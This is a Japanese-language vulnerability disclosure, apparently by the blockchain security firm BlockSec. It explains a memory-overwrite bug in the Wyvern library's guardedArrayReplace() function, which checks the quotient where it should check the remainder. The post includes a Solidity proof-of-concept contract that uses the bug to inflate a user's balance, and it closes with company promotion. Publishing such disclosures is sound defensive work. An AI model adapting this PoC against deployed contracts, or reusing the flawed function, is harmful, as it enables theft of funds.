はじめに
弊社の脆弱性検出システムは、以前OpenSeaによって使用されていたWyvern分散型取引プロトコルに属するWyvernライブラリの最新実装において、メモリ上書きの脆弱性を発見しました。このバグは任意のストレージ書き込みにつながる可能性があります。
プロジェクトには(Eメールやソーシャルメディアなどを通じて)連絡を試みましたが、まだ応答はありません。OpenSeaはSeaportプロトコルに移行したため、詳細情報を公開しても安全だと考えています。さらに、このバグ自体が少しトリッキーであり、エクスプロイトが非常に興味深いため、これらの発見を共有してコミュニティを活性化させたいと考えています。
説明
脆弱性のあるコードは、コミットハッシュ4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9の公式コードリポジトリで見つけることができます。
具体的には、このバグはArrayUtils.solの_guardedArrayReplace()_関数に存在します。名前が示すように、この関数は動的サイズのバイト配列(すなわち、_desired_という名前の2番目のパラメータ)を別の配列(すなわち、_array_という名前の最初のパラメータ)に選択的にコピーするために使用されます。この関数はワードレベル(すなわち、0x20バイト)の操作を実行するように実装されていることに注意してください。したがって、コードロジックは除算の結果に基づいて2つのステップに分けることができます。
商の部分(すなわち、_words = _array.length / 0x20)では、行42から49までのコードロジックが、ワードごとにdesired配列をtarget配列にコピーします。このステップは期待どおりに機能しますが、行39のアサート文は整数演算のため無効です。

前のステップの後、除算で剰余が生じる場合、正しくコピーされていないバイトがまだ残っていることを意味します。行52から66までのコードロジックは、これらのバイトを処理するように設計されています。残念ながら、行52の**_if_文は、剰余(array.length % 0x20)ではなく、商(words、すなわち_array.length / 0x20)を誤って使用してチェックを実行しています**。
重大度
このバグは任意のストレージ書き込みにつながる可能性があります。_array.length_が_0x20_で正確に割り切れると仮定すると、コピー操作は実際にはループロジックで実行されます。しかし、ほとんどの場合、関数は脆弱なロジックに入り、desired配列の後ろのワードをtarget配列にコピーしようとします。これにより、範囲外アクセスが必然的に発生します。さらに悪いことに、誤ったロジックは、target配列の末尾(使用方法が不明なメモリ領域)にワードを上書きするために悪用される可能性があります。
このバグを悪用する方法
潜在的な攻撃ベクトルを説明するために、PoCコントラクトを開発しました。PoCコントラクトには2つの関数があり、最初の関数_test()_は攻撃を実行するために使用され、2番目の関数は脆弱な_guardedArrayReplace()_関数です。
具体的には、test()関数で、まずいくつかのインメモリバイト(a、b、mask)と配列(すなわち、_rewards)を定義します。ここで定義された__rewards_は、ユーザーの報酬を計算するために使用されます。_guardedArrayReplace()関数を呼び出して_a_を_b_に_mask_でコピーした後、_rewards_がユーザーの残高(すなわち、balances[msg.sender])に追加されます。
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
ここではRemixを使用して結果を示します。当初、__rewards_と_balances_には値を割り当てていないことに注意してください。エクスプロイト後、ユーザーの残高は非常に大きな値に設定されます(赤い長方形で示されています)。

結論
まれではありますが、このようなメモリ上書きの脆弱性はスマートコントラクトに依然として存在する可能性があります。開発者はメモリを操作するコードロジックに注意を払う必要があります。
BlockSecについて
BlockSecは、2021年に世界的に著名なセキュリティ専門家グループによって設立された、先駆的なブロックチェーンセキュリティ企業です。当社は、Web3の世界のセキュリティと使いやすさを向上させ、その大規模な普及を促進することに尽力しています。この目的のために、BlockSecはスマートコントラクトとEVMチェーンのセキュリティ監査サービス、セキュリティ開発とプロアクティブな脅威ブロックのためのPhalconプラットフォーム、資金追跡と調査のためのMetaSleuthプラットフォーム、そしてWeb3ビルダーが仮想通貨の世界を効率的にサーフィンするためのMetaDock拡張機能を提供しています。
現在までに、MetaMask、Uniswap Foundation、Compound、Forta、PancakeSwapなど300社以上の著名なクライアントにサービスを提供し、Matrix Partners、Vitalbridge Capital、Fenbushi Capitalなどの著名な投資家から2回の資金調達で数千万米ドルを受け取っています。
公式ウェブサイト: https://blocksec.com/
公式Twitterアカウント: https://twitter.com/BlockSecTeam



